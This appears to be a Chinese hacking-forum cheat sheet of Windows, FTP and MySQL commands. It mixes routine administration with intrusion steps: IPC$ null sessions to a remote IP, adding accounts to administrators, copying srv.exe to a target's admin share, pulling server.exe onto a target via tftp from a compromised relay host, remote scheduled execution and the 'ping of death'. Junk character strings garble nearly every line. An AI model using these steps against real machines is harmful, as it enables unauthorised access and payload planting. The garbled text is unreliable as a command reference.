|
net use \\ip\ipc$ " " /user:" " 建立IPC空链接3 N6 C1 }2 |8 P) y. O3 `
net use \\ip\ipc$ "密码" /user:"用户名" 建立IPC非空链接; b, B3 _0 [: i h7 i) z, T, i
net use h: \\ip\c$ "密码" /user:"用户名" 直接登陆后映射对方C:到本地为H:
% f: y3 v7 |: ^net use h: \\ip\c$ 登陆后映射对方C:到本地为H:
. B! w! b! ^* Z) c+ D( Inet use \\ip\ipc$ /del 删除IPC链接
( a+ a" m3 k% F$ R# y# ~net use h: /del 删除映射对方到本地的为H:的映射
0 S9 K. W5 |3 t3 i! R5 Wnet user 用户名 密码 /add 建立用户
|4 c) c7 \/ R5 i8 Q# tnet user guest /active:yes 激活guest用户
6 @6 {4 i* a* r' a( t1 bnet user 查看有哪些用户% R+ |2 j; W( c q3 l
net user 帐户名 查看帐户的属性
# q" A* L- F. m0 nnet localgroup ***istrators 用户名 /add 把“用户”添加到管理员中使其具有管理员权限,注意:***istrator后加s用复数
! [+ j: [) [1 r$ unet start 查看开启了哪些服务" U9 V; c9 z- M X
net start 服务名 开启服务;(如:net start telnet, net start schedule)6 c( D! w5 G+ h }$ g
net stop 服务名 停止某服务1 A3 }1 G* ~& t; A! w# K
net time \\目标ip 查看对方时间
, W+ b$ [+ R8 l; _7 `8 ^net time \\目标ip /set 设置本地计算机时间与“目标IP”主机的时间同步,加上参数/yes可取消确认信息& |9 y0 |4 `1 R8 N" j, h$ ^
net view 查看本地局域网内开启了哪些共享
2 M: }4 G; B+ M( n7 [* Qnet view \\ip 查看对方局域网内开启了哪些共享
" [6 [& |: i' Q% Gnet config 显示系统网络设置2 F: ?+ P; Q& r+ F# A0 F
net logoff 断开连接的共享
& I6 Z0 Z& [' ^ \" Z! X. ynet pause 服务名 暂停某服务
# z! S% n) L. k; g! J2 x- Lnet send ip "文本信息" 向对方发信息
' }; F! I8 y' q z6 Bnet ver 局域网内正在使用的网络连接类型和信息
2 L) f8 Y2 ~7 b" s" v( g* H: Nnet share 查看本地开启的共享
% z, m! v3 p; a9 r" T' Anet share ipc$ 开启ipc$共享
1 K/ B3 W* u9 ^3 _2 r2 ~/ pnet share ipc$ /del 删除ipc$共享2 }; D" P8 Y) c$ {# N5 o
net share c$ /del 删除C:共享( G* r" ~. }% O+ T
net user guest 12345 用guest用户登陆后用将密码改为12345
% B& q! W# F2 B6 O) @net password 密码 更改系统登陆密码( H( d7 }% V7 `( m+ J: x
netstat -a 查看开启了哪些端口,常用netstat -an
& d: `% J, t' z) m) d+ _& inetstat -n 查看端口的网络连接情况,常用netstat -an
7 L, g6 n. h" Mnetstat -v 查看正在进行的工作# G. }) X$ h; J
netstat -p 协议名 例:netstat -p tcq/ip 查看某协议使用情况(查看tcp/ip协议使用情况)
& k% r% w, f) T1 @/ vnetstat -s 查看正在使用的所有协议使用情况
9 ^. V2 x+ |' O! a6 ~& ~2 z9 Pnbtstat -A ip 对方136到139其中一个端口开了的话,就可查看对方最近登陆的用户名(03前的为用户名)-注意:参数-A要大写
% V$ j7 L' N7 C1 C' @, ?6 U3 [tracert -参数 ip(或计算机名) 跟踪路由(数据包),参数:“-w数字”用于设置超时间隔。
# T- \7 C3 O4 s! P9 U0 p1 T& q7 qping ip(或域名) 向对方主机发送默认大小为32字节的数据,参数:“-l[空格]数据包大小”;“-n发送数据次数”;“-t”指一直ping。+ O0 @- f0 {& n) L
ping -t -l 65550 ip 死亡之ping(发送大于64K的文件并一直ping就成了死亡之ping)
3 I/ E" K% d; o# s1 S: E- Oipconfig (winipcfg) 用于windows NT及XP(windows 95 98)查看本地ip地址,ipconfig可用参数“/all”显示全部配置信息
, H' ]' I' b1 R# ztlist -t 以树行列表显示进程(为系统的附加工具,默认是没有安装的,在安装目录的Support/tools文件夹内); j0 F4 E, m% @5 h) o" k. r0 |/ {
kill -F 进程名 加-F参数后强制结束某进程(为系统的附加工具,默认是没有安装的,在安装目录的Support/tools文件夹内)5 F6 \2 k$ o: h% f/ n' {& _; H
del -F 文件名 加-F参数后就可删除只读文件,/AR、/AH、/AS、/AA分别表示删除只读、隐藏、系统、存档文件,/A-R、/A-H、/A-S、/A-A表示删除除只读、隐藏、系统、存档以外的文件。例如“DEL/AR *.*”表示删除当前目录下所有只读文件,“DEL/A-S *.*”表示删除当前目录下除系统文件以外的所有文件6 k4 V8 I. Q. v" z( g2 C
del /S /Q 目录 或用:rmdir /s /Q 目录 /S删除目录及目录下的所有子目录和文件。同时使用参数/Q 可取消删除操作时的系统确认就直接删除。(二个命令作用相同)
) V+ u4 t" n) R) S7 T- {move 盘符\路径\要移动的文件名 存放移动文件的路径\移动后文件名 移动文件,用参数/y将取消确认移动目录存在相同文件的提示就直接覆盖) F W$ @: A- ~& N4 Q
fc one.txt two.txt > 3st.txt 对比二个文件并把不同之处输出到3st.txt文件中,"> "和"> >" 是重定向命令" K- ^* d. G" y. ~
at id号 开启已注册的某个计划任务1 H% @, j* i1 Z. |9 r) \
at /delete 停止所有计划任务,用参数/yes则不需要确认就直接停止 n7 u2 |, F% E" K1 w
at id号 /delete 停止某个已注册的计划任务
/ g9 K$ T$ ]' ~; G' U3 s9 ^at 查看所有的计划任务$ W m! m' b- d8 x% t% j7 V
at \\ip time 程序名(或一个命令) /r 在某时间运行对方某程序并重新启动计算机
" s, E1 ]' U, Ifinger username @host 查看最近有哪些用户登陆1 F" q* t) } l- D" @
telnet ip 端口 远和登陆服务器,默认端口为23
8 g6 W* e: p! j0 e1 u0 |open ip 连接到IP(属telnet登陆后的命令)
# O D4 E, K( ~' R# Ltelnet 在本机上直接键入telnet 将进入本机的telnet4 X" M( B. y& ]
copy 路径\文件名1 路径\文件名2 /y 复制文件1到指定的目录为文件2,用参数/y就同时取消确认你要改写一份现存目录文件
, i; P% H# ]2 Dcopy c:\srv.exe \\ip\***$ 复制本地c:\srv.exe到对方的***下
l2 b! M3 E; E$ _$ ^' Scppy 1st.jpg/b+2st.txt/a 3st.jpg 将2st.txt的内容藏身到1st.jpg中生成3st.jpg新的文件,注:2st.txt文件头要空三排,参数:/b指二进制文件,/a指ASCLL格式文件/ N7 P' T3 {# [' M
copy \\ip\***$\svv.exe c:\ 或:copy\\ip\***$\*.* 复制对方***i$共享下的srv.exe文件(所有文件)至本地C:
) ?* u3 T; j4 I$ L) bxcopy 要复制的文件或目录树 目标地址\目录名 复制文件和目录树,用参数/Y将不提示覆盖相同文件$ `+ j5 q' U4 ?3 r# a
tftp -i 自己IP(用肉机作跳板时这用肉机IP) get server.exe c:\server.exe 登陆后,将“IP”的server.exe下载到目标主机c:\server.exe 参数:-i指以二进制模式传送,如传送exe文件时用,如不加-i 则以ASCII模式(传送文本文件模式)进行传送
. |1 z$ A. O/ k* h- w: utftp -i 对方IP put c:\server.exe 登陆后,上传本地c:\server.exe至主机* I5 v9 P4 X, \+ j' p; q
ftp ip 端口 用于上传文件至服务器或进行文件操作,默认端口为21。bin指用二进制方式传送(可执行文件进);默认为ASCII格式传送(文本文件时)! P$ d1 D5 E+ [# b
route print 显示出IP路由,将主要显示网络地址Network addres,子网掩码Netmask,网关地址Gateway addres,接口地址Interface( @+ i0 c0 R) j1 F i5 ?" ^* _
arp 查看和处理ARP缓存,ARP是名字解析的意思,负责把一个IP解析成一个物理性的MAC地址。arp -a将显示出全部信息
% s2 I( h* Q' S5 z* s, P3 jstart 程序名或命令 /max 或/min 新开一个新窗口并最大化(最小化)运行某程序或命令- o; `7 ]/ g7 Q9 M! _
mem 查看cpu使用情况
! ~+ B/ j R$ b6 j! \9 `8 mattrib 文件名(目录名) 查看某文件(目录)的属性
8 q9 }+ j0 h7 ?* r* fattrib 文件名 -A -R -S -H 或 +A +R +S +H 去掉(添加)某文件的 存档,只读,系统,隐藏 属性;用+则是添加为某属性* |9 Y7 r: \ \, ~
dir 查看文件,参数:/Q显示文件及目录属系统哪个用户,/T:C显示文件创建时间,/T:A显示文件上次被访问时间,/T:W上次被修改时间
1 N% S; {8 ~) Idate /t 、 time /t 使用此参数即“DATE/T”、“TIME/T”将只显示当前日期和时间,而不必输入新日期和时间
9 C8 Z! m" N* ~$ o# e0 V( N8 Eset 指定环境变量名称=要指派给变量的字符 设置环境变量 B0 W+ E7 V7 `
set 显示当前所有的环境变量0 K7 L7 b- f, T3 E' }
set p(或其它字符) 显示出当前以字符p(或其它字符)开头的所有环境变量 m' v9 E/ d6 ~' k
pause 暂停批处理程序,并显示出:请按任意键继续....9 `5 T. g* g, t- F1 Z# e
if 在批处理程序中执行条件处理(更多说明见if命令及变量)
: c) T& i3 Z' q& ?goto 标签 将cmd.exe导向到批处理程序中带标签的行(标签必须单独一行,且以冒号打头,例如:“:start”标签)9 H$ p( A% W9 p: L6 m7 N; D
call 路径\批处理文件名 从批处理程序中调用另一个批处理程序 (更多说明见call /?)! w X, i7 ?# E8 H! k7 |& \: c
for 对一组文件中的每一个文件执行某个特定命令(更多说明见for命令及变量)$ b/ X, V% X3 U- R J
echo on或off 打开或关闭echo,仅用echo不加参数则显示当前echo设置
6 L" K; Z E9 S0 w% o( Y. j' e( aecho 信息 在屏幕上显示出信息 _% l2 j+ d5 g6 [+ `% a
echo 信息 >> pass.txt 将"信息"保存到pass.txt文件中
" t: W Z- O9 N* Z9 W8 I: @findstr "Hello" aa.txt 在aa.txt文件中寻找字符串hello! r$ l: D6 ^: i$ G4 I% R+ `( t
find 文件名 查找某文件) O$ Y& b: S9 T, O" Q" @1 Q ?
title 标题名字 更改CMD窗口标题名字6 j# x; O$ y, X# F2 K% h
color 颜色值 设置cmd控制台前景和背景颜色;0=黑、1=蓝、2=绿、3=浅绿、4=红、5=紫、6=黄、7=白、8=灰、9=淡蓝、A=淡绿、B=淡浅绿、C=淡红、D=淡紫、E=淡黄、F=亮白
. L' M1 v* t3 D( L2 cprompt 名称 更改cmd.exe的显示的命令提示符(把C:\、D:\统一改为:EntSky\ )- J9 s8 i+ Q! y) S8 t: |6 I4 H
ver 在DOS窗口下显示版本信息! X# `9 n4 q0 a1 P7 ]
winver 弹出一个窗口显示版本信息(内存大小、系统版本、补丁版本、计算机名)
7 c" O; U# a; p* n4 Dformat 盘符 /FS:类型 格式化磁盘,类型:FAT、FAT32、NTFS ,例:Format D: /FS:NTFS
& B" P9 H1 } c8 h, t* Nmd 目录名 创建目录* z% k; N- R4 l: C" v
replace 源文件 要替换文件的目录 替换文件( L* n, Y1 T) @% l$ n
ren 原文件名 新文件名 重命名文件名: n4 G, H4 }7 x2 j+ }
tree 以树形结构显示出目录,用参数-f 将列出第个文件夹中文件名称6 x* f; W+ u; a# G; D8 i
type 文件名 显示文本文件的内容! m- x( u+ L7 R! `1 T# {
more 文件名 逐屏显示输出文件
3 L9 G; x$ {% _2 Edoskey 要锁定的命令=字符
3 b. E' I7 K1 ]& \, V7 Ldoskey 要解锁命令= 为DOS提供的锁定命令(编辑命令行,重新调用win2k命令,并创建宏)。如:锁定dir命令:doskey dir=entsky (不能用doskey dir=dir);解锁:doskey dir=
; N* q: _, x7 m# _7 F( B. ataskmgr 调出任务管理器
/ Q$ X; U+ `9 jchkdsk /F D: 检查磁盘D并显示状态报告;加参数/f并修复磁盘上的错误& O1 P: @/ T9 ?8 b3 R
tlntadmn telnt服务admn,键入tlntadmn选择3,再选择8,就可以更改telnet服务默认端口23为其它任何端口
1 I7 V4 }& }" L8 bexit 退出cmd.exe程序或目前,用参数/B则是退出当前批处理脚本而不是cmd.exe
6 J* U; M6 B* Q! m/ g0 Cpath 路径\可执行文件的文件名 为可执行文件设置一个路径。9 y0 R: ]3 U1 E
cmd 启动一个win2K命令解释窗口。参数:/eff、/en 关闭、开启命令扩展;更我详细说明见cmd /?. _1 h2 E: z$ g a: f
regedit /s 注册表文件名 导入注册表;参数/S指安静模式导入,无任何提示;
& p' U7 {+ b$ F9 ?) E( h; @regedit /e 注册表文件名 导出注册表; a* V' R5 D# i3 D: U, \
cacls 文件名 参数 显示或修改文件访问控制列表(ACL)——针对NTFS格式时。参数:/D 用户名:设定拒绝某用户访问;/P 用户名erm 替换指定用户的访问权限;/G 用户名erm 赋予指定用户访问权限;Perm 可以是: N 无,R 读取, W 写入, C 更改(写入),F 完全控制;例:cacls D:\test.txt /D pub 设定d:\test.txt拒绝pub用户访问。
0 c5 T1 L* U# {9 P) J' Rcacls 文件名 查看文件的访问用户权限列表( m9 s8 y. j* n) B, ~) S2 d' U
REM 文本内容 在批处理文件中添加注解- v+ p$ n- J o" o+ F
netsh 查看或更改本地网络配置情况
7 P5 K% `9 T$ b' Q- B7 O1 ~8 l9 RIIS服务命令:
" ^( F9 V6 {4 ?" _/ G; e. uiisreset /reboot 重启win2k计算机(但有提示系统将重启信息出现)3 N- q. W) h% f/ y0 d# `
iisreset /start或stop 启动(停止)所有Internet服务
: y6 G5 Y. H' D: S' Jiisreset /restart 停止然后重新启动所有Internet服务- e$ x7 ?7 ~1 V0 V! p
iisreset /status 显示所有Internet服务状态% f! H. \/ @% I7 q. A
iisreset /enable或disable 在本地系统上启用(禁用)Internet服务的重新启动
( b- i$ W& S( w( `3 qiisreset /rebootonerror 当启动、停止或重新启动Internet服务时,若发生错误将重新开机4 D* F3 Y( L) H1 W2 f6 r3 _. g
iisreset /noforce 若无法停止Internet服务,将不会强制终止Internet服务; R1 p" s# J2 b: @- j2 x# ?+ H8 c
iisreset /timeout Val在到达逾时间(秒)时,仍未停止Internet服务,若指定/rebootonerror参数,则电脑将会重新开机。预设值为重新启动20秒,停止60秒,重新开机0秒。! P/ m: L* ^% I9 O" V1 Y- J
FTP 命令: (后面有详细说明内容)
! s1 h1 V7 h. `5 Vftp的命令行格式为:/ I& w5 `0 C! e# l
ftp -v -d -i -n -g[主机名] -v 显示远程服务器的所有响应信息。" G+ |; q- d3 ]" |. u2 P2 q
-d 使用调试方式。5 n7 O- f8 f2 }3 I7 g
-n 限制ftp的自动登录,即不使用.netrc文件。& T9 d( _: M+ s4 n
-g 取消全局文件名。
# r- f* ~4 M4 n: r1 |, vhelp [命令] 或 ?[命令] 查看命令说明
! q9 f/ L1 e5 w; e8 E+ b" M( Xbye 或 quit 终止主机FTP进程,并退出FTP管理方式.
8 P$ A& z6 g6 T& P& {/ Zpwd 列出当前远端主机目录
$ E1 n" E3 G3 q0 zput 或 send 本地文件名 [上传到主机上的文件名] 将本地一个文件传送至远端主机中+ [) o6 ^4 I6 `; k" ~" C- A
get 或 recv [远程主机文件名] [下载到本地后的文件名] 从远端主机中传送至本地主机中
9 k8 u+ t# p! F9 S0 T2 g. Imget [remote-files] 从远端主机接收一批文件至本地主机* d0 f& q9 n" G! I( k0 a
mput local-files 将本地主机中一批文件传送至远端主机% Y5 _$ w6 W: W4 e/ o8 C! l
dir 或 ls [remote-directory] [local-file] 列出当前远端主机目录中的文件.如果有本地文件,就将结果写至本地文件
( U9 x' X4 o: o8 Iascii 设定以ASCII方式传送文件(缺省值)
$ i1 q) l# H+ P/ t+ `9 ^bin 或 image 设定以二进制方式传送文件. p. \" v% g+ t0 f5 ~
bell 每完成一次文件传送,报警提示/ Q" I) U8 l1 K3 |7 ] O! r% @
cdup 返回上一级目录% V% K9 k% F# Y1 f: r3 W
close 中断与远程服务器的ftp会话(与open对应)
3 c- y% t* s+ H$ h0 }4 }open host[port] 建立指定ftp服务器连接,可指定连接端口
- I* \* Y6 D7 u* \; tdelete 删除远端主机中的文件/ E: \2 G: G: Y7 F
mdelete [remote-files] 删除一批文件: I6 m* L& f1 n5 l7 z6 ^2 E
mkdir directory-name 在远端主机中建立目录
! D2 T+ \9 L P6 R9 |rename [from] [to] 改变远端主机中的文件名& R; u! k3 [- N; Z
rmdir directory-name 删除远端主机中的目录! b4 u$ \! j! \- o2 u
status 显示当前FTP的状态! a3 x8 q* x& F9 f7 | d2 r; X( C
system 显示远端主机系统类型% }5 B F9 ^* A* h
user user-name [password] [account] 重新以别的用户名登录远端主机. e: x e2 U9 Z0 L
open host [port] 重新建立一个新的连接/ j* i8 b' u' A8 l# b
prompt 交互提示模式% V! B6 h1 d: i; f
macdef 定义宏命令
( f( E8 x9 _+ Qlcd 改变当前本地主机的工作目录,如果缺省,就转到当前用户的HOME目录
6 N9 g: W( @* I+ [chmod 改变远端主机的文件权限% K# F( S- }" d; S4 |
case 当为ON时,用MGET命令拷贝的文件名到本地机器中,全部转换为小写字母
r4 z% P7 T& m1 Q xcd remote-dir 进入远程主机目录& F2 w2 ^% r4 J+ g0 \, @
cdup 进入远程主机目录的父目录& q% Z M E0 t/ f- Q
! 在本地机中执行交互shell,exit回到ftp环境,如!ls*.zip/ ]' N" J. M" ?/ J& Y
MYSQL 命令:
# B' y9 F2 s8 k; p% F* Kmysql -h主机地址 -u用户名 -p密码 连接MYSQL;如果刚安装好MYSQL,超级用户root是没有密码的。
! ^5 b" M' y# @, }$ J/ ]0 d* g! r(例:mysql -h110.110.110.110 -Uroot -P123456
8 \% E! ?3 C8 ?4 B6 g( |& j9 Y注:u与root可以不用加空格,其它也一样)( M% @- `' e5 b! B; D+ U
exit 退出MYSQL
3 C; V0 q+ t+ y' s, i/ Mmysql*** -u用户名 -p旧密码 password 新密码 修改密码
/ k0 z2 P' W1 V* \3 @( zgrant select on 数据库.* to 用户名@登录主机 identified by \"密码\"; 增加新用户。(注意:和上面不同,下面的因为是MYSQL环境中的命令,所以后面都带一个分号作为命令结束符)/ g* j4 c- {: j, t9 ?1 ]' }8 Q
show databases; 显示数据库列表。刚开始时才两个数据库:mysql和test。mysql库很重要它里面有MYSQL的系统信息,我们改密码和新增用户,实际上就是用这个库进行操作。 |
|